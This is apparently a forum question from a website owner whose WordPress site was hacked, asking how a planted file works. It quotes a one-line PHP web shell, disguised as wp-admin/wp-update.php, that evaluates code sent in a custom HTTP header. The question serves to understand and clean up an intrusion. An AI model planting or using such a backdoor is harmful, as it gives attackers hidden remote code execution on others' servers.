So our website unfortunately got hacked.

They created a file in our wp-admin directory called wp-update.php containing this code:

```
<?php @eval($_SERVER['HTTP_4CD44849DA572F7C']); ?>

```

My question is how can the hacker pass in his script using $\_SERVER?